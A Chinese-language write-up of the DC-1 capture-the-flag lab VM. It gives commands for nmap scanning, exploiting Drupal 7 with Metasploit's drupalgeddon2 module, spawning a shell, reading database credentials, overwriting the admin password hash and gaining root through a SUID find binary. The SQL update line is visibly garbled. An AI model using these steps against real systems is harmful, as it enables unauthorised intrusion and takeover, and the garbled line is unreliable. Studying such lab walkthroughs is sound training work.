DC系列-——dc1靶机解析
确定IP:
首先切换网卡到nat模式,再用kali中的nmap工具扫描当前网段的主机,查看开放主机
指令:nmap -sS 网段
试一下,找dc1的ip
打开界面是这样,看到Drupal(一种CMF框架),再使用nmap扫描80端口综合信息查找版本
指令:nmap -A -p80 DC1的ip
扫描到drupal的版本是7,接下来可以用searchsploit查找对应的漏洞
发现有的有rb文件 (rb文件是导入到msfconsole工具中的漏洞模块),查看是否有关于drupal的漏洞可以使用,这里上网查了一下各位师傅们,说是用这个模块
exploit/unix/webapp/drupal_drupalgeddon2
使用模块,然后set rhosts ,直接run过去
set rhosts xxx.xxx.xxx.xxx
run
使用pty生成虚拟终端
python -c “import pty;pty.spawn(‘/bin/sh’)"
然后查看当前目录,发现flag1.txt,查看发现flag1.txt只是前戏
flag1是一个提示,说明需要查看cms的config文件,加下来就是找到config文件查看,获取下一条信息,百度找到配置文件的位置
sites/default/settings.php
路径
找到数据库密码,数据库密码应该是第二个flag,接下来就是去数据库找文件了
进入数据库,然后选择drupaldb查找发现users表,查看字段
desc users;
发现用户名和密码的字段,但是发现加密方式咱也看不懂,或许有本地加密文件,查看…
find / -name “*pass*”
果然有,文件路径 /var/www/scripts/password-hash.sh
,然后查找网上的使用方法
php password-hash.sh
密码,就会出现密码(在/var/www/html目录底下执行)
找到密码之后去mysql里面更新数据表
update users set pass="$S$DGNd1zikVA6n5iFua4HyRb5240su<s="$S$DGNd1zikVA6n5iFua4HyRb5240suDkmXJIua1nvHi6EiF <Rb5240suDkmXJIua1nvHi6EiFkCGnR7G" where name="admin ";
改完数据库之后登录,发现flag3
flag3提示exec 和 shell,接下来就是找flag4了
find / -name "flag4*"
查看flag4,提示我们需要找到在root目录下的flag
查看当前用户有哪些权限
find / -perm -u=s 2>/dev/null或者find / -perm -4000 2>/dev/null,发现find有root权限,再联想到之前flag3的exec,就可以用find提权
find提权:
首先创建文件
touch 123->find提权 find 123-exec ‘/bin/sh’ ;
获取到root权限之后查看root目录下的flag,发现finalflag,这就是最后的flag